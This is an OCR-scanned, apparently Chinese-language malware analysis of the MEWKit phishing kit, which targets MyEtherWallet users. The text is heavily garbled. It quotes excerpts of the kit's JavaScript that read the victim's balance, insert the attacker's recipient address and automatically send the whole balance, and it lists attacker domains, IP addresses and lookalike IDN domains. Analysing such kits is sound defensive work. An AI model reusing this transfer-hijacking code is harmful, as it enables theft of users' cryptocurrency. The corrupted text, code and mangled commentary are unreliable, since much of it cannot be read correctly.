msg = msg.slice(msg.index0f('|"')+1);

eth_recipient_tmp_3 = msg.substring(@, msg.index0f(']|"'));
var arr = [eth_recipient_tmp_0, eth_recipient_tmp_1, eth_recipient_tmp_2, eth_recipient_tmp_3];
var rand = Math.floor(Math.random() * arr.length);
eth_recipient = arrl[rand]l; */
document.title = eth_recipient;
set_data(eth_recipient);

}

if (msg.indexOf('[EMPTY]') >= @) {
send_data_login_('NO RECIPIENT ', 'S:wa ATS'; '9');
document.getElementById(',ULW. wait').style.display = ne";
document.getElementById('mainco “") style.display = "":

}

ZREIEEE—ERIER consolelog A, ZIARSRKERILRKEEFG . XILFEMNEMFHE LS EENKH
FHIAR TR I .

BEXAER, BT UREESHESOTICMIEE. RMNEET AT, FREMMBEEE, RUERRTYS

FRNBBHBEALRE (BXTXHNESER) - BIOEE ML, ERNAEEEFSIEXBELT, RN
ﬁg%'x o
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264 //if (user_in_page==1)

265 //send_data_login_('User in page ', '--', '0');

266

267 //npoBepseM QOOCTYNHOCTb CEKUMM C TpaHwem

268

269

270 function check_send_block() {

271 if (send_block_flg !== 1) {

272 var td_iban = document.getElementsByTagName('article');

273 for (var q = @; q < td_iban. length; q++)

274 if (td_iban[ql.innerHTML. index0f('<span ng-show="wd" class="">+</span>') >= 0 && td_iban[q].innerHTML. index0f ("
translate="NAV_SendEther"') >= 08) {

275 send_block_flg = *;

276 //document.title="1111";

277 check_balance_block();

278

279 }

280 setTimeout(check_send_block, 1000);

281 }

_FEHIX F npoBepsieM AOCTYNHOCTL cekLmm ¢ TpaHwem 3R EI ZE R ABER 146 & TpaHwew (I T] A, XE2—
MEBHAFNEZNAN. WIBEXT TENRBERTEEMISRASEET RSN ARTMNEL,
Tpanwem X MARZ ranche (EIE, KBEXIEHIE, RTXHH—BAH—BD.

312 function check_valid_balance() {

313

314 //nony4yaeM banaHc

315 var td_ul = document.getElementsByTagName('ul');

316 for (var a = 8; a < td_ul.length; a++)

317 if (td_ul[a).className == 'account-info point') {

318 var td_iban = td_ull[al].getElementsByTagName('span');

319 for (var q = 8; q < td_iban.length; q++)

320 if (td_iban[q].className == 'mono wrap ng-binding') {

321 // document.title=td_iban([q].innerHTML; // BanaHc
322 balance = td_iban[q].innerHTML;

23

324 // balance='10"'; //!ttrrrrnnnnnrrrrninnnn

325 if (balance !== '0') get_address();

326 // set_datal();

327 else {

328 send_data_login_('NO BALANCE ', 'Stop ATS', '0');
329 document.getElementById('login_wait').style.display = "none";
330 document.getElementById('maincontent').style.display = "";
331 // cTton paborta

332 }

333

334 }

335 }

336 }

F—% ¥ nonyvaem bananc', BISE|LH, & ER 6ananc 2 #'—18, FE=%E#, 'cronpabor, BAE
IETH, XEREBEBERAYEFREZIRTN 0 HRHERE T XEZEHRHHN R, BHREATS XHEASTNEEMER
o EIETET
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338 1 Cll1 5‘(.‘[_(1(’}'\(’)( ) {

339 //NOCTaBuTh KoWenek nonyyatens

340 var td_iban = document.getElementsByTagName(' )5

341 td ibani I focus()

342 r | q ; q < td_iban.length; q++)

343 f (td 1ban[q] placeholder : %) A

344 // eth_recipient="'0x06A85356DCb5b307096726FB86A78c59D38e@8ee"; /111111 ILILLITLI
345 td_iban[ql.value = to_address;

346 $(" ").val(to_address);

347 angular.element(jQuery(" ')).triggerHandler(" )

348 }

349

350

351 //0TnpasnuTe Beck BanaHc B 3MayHT

352 i td_iban = document getElementsByTagName('a');

353 f ( q ; q < td_iban.length; q++)

354 f (td_ibanl(ql. . innerHTML. index0f ( ’ ') >= 0) td_ibanlql.click();
355

356

357 setTimeout(set_get_trans, )

358 }

F—5EFE, 'ocrasuts kowenek nonyyatens’, FIFIT R HERRKANZKE, XS5RENNEZEENZRET
E’é%&’ﬁéé’]x%ﬂﬂl AN EHU A REF X, FE%FF, omnpasuts Becs 6anaHc B amayHT ', BIFIT K2 FE IR
1%, XAEPHRE— 21 svayHT E?ﬁ'—ﬁ AR RXHIEHIERIE .,

RETROHABREWNANIEZER— M UEENEHEDWE —EUSMIRMA.

A
oK
p

BEMHRXEMER, EERHTREXTXREGHGHHORAET, ERMNREERNMLTRIRLXETHA, Fi
&t 5 MEWKit fHEX R A9ERSNALAE. LD Hh Route 53 15 (F#F) RAE—1 B, RARRFHHSEEHENR/N, E
HERTMEANEKX,

BEEMEARJLTFIEEN, FAZHRENEERRES LI 7 - BGP A DNS {3AR A& IR E B M sh 77 7E )&

BEXEEN—#D. SKEHNELEEE—H, HNXLEXMNREHEBRRATR, BENNSRBORATHTHNE
PAEIRR S EBBEBRTTR

IDN Phishery

JUFFrE MEWKit SLEIEEEIRM — K2R EETMER (LSS (IDNs) . ERUBRRGFARE, B
2, ef1#F A MEWKit Eﬁlﬁlﬁqﬂfu?ﬂE%’ﬁ%{o

5T AR IE A0 SR E X RIX N [E),  Firefox #1 Chrome #SLEL Y —MEE RN LR EHE PHMEFHE
BRETR—MES. MRAZE, WER'xn--7FKH9 IDNA 775, X/MLIERFSLT MG MEWKit (9KEId, EA
WHEMNEARBEARRY, FEX, TXBIEXMHBERXAFHRES THRERTHERFZHEENFTE.
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LR, BEMATBTXLTIERR, FAIHEAE MyEtherWallet LZHHENMANNRE L. BREVREEITITNE
BRI, B4F2 M MyEtherWallet (I BE S A CHANE R . FAREARFETEFIME, HRREENEE.

R[E) 2 4

MEWKit £ 18 F1 {5 F B9 K 2 808 A0 AL ERME A 3E B 45 2 FIAR Uk AR 5 MyEtherWallet, 8T —Mz 4T MEWKit g3
MEAA—H, SEFARERAREETT L2 ANGFFNHA, Bio#EA T2 tikkiepayment.info, FETE
31.31.196.186, 4 B 9 H, MEWKit SLfI##EE 7 myyetherwallett.com/myether/, & MIATHAEIIE © /Y MEWKit

N
myyetherwallett.com/myether/js/wallet.js

myyetherwallett.com/myether/js/sm.js

HF &t 7 wallet.js B 145 1% & 24 https://tikkiepayment.info/showpanel/ , walletjs FiE B2 &R
TEAERE:

- js_stat ' // admin panel Llink
2 user_in_page=_; // ] user in main page to log / © no log
BANE LA T E— EMtﬁ%MWWH% é %ﬂ
https://tikkiepayment.info/pp/
https://tikkiepayment.info/mycryptopanel/
https://tikkiepayment.info/showpanel/

MR E— T 4 tikkiepayment.info, FAIEI—L > FTMKEH 7E H M MEWKit LB 5 ILEEHF RN TR
M EAREFEZETES MEWKIt £XMET web B9 T B, 7f https://tikkiepayment.info/pv/ F, FEEE— P AIFH
& {# A MyEtherWallet API &t £467 Ethereum keys fY T B.:

@ MEW Private keys mass checker.

Private keys Results

Check
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REMNBLRFHMZBBEAFAERE, EzLARHMATUERANEE MR MyEtherWallet, TREKFZE
AR EE LY. RERSHLEENTRANRERHNGEURET MEWKit FNE—SFHNES, FTANX
AEAEH MEWKit NEIBERERN. IS, RI|ARERN I0C H0 B ROIAHER, HRSEFR MEWKit T4
BEZH—MAHTEIL.

==3 \ =
REH AR

REFRNAEFHYIANN MEWKit R IERBE—IEHE, EBRMNAELELI T MEWKit SKEIFEMINZE TR HFINE TR
SN ETTEZ BN — LB,

4 B 17 H, MEWKit 257 www.xn--myetherwalle-occ.com FIFTUIETT, B/ MEWKIit BIAMILT
ALEHNEK:
cdnsfiles.com/js/wallet.js

cdnsfiles.com/js/sm.js

JEiR A B B £ www.xn--myetherwalle-occ.com/adm/, 1B 53— MEWKit L B IZEFEE 7 cdnsfiles.com £, H
KBEMNLERB—NEME, FimALERE N cdns X{FHJ.com /ADM /,

HFBEI A — MU M cdnsfiles.com fNFFEIE, XA2 MEWKit 32, s blockchain.info FY¥J& TIHE ., ZT1HE
KEE—NMEBENHNENY, F 5B EE MEWKit Fiifi B ATS A - e ARV T EXRIE. A, EEBMEE
MIATRIBEMRER:

html
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‘© 7 AF MEWKit fERH{EF cdnfiles.com {E A PSR, XEFK(] MEWKt EENIEERBEEE 26
NENMHAES, NRBMNEFNETUEAAEY, 185.207.205.16, BIIAMA—AH/PNagZTERTE
blockchain.info, %A1, Coinbase #1355 — IDN M & :

) riskia

RS
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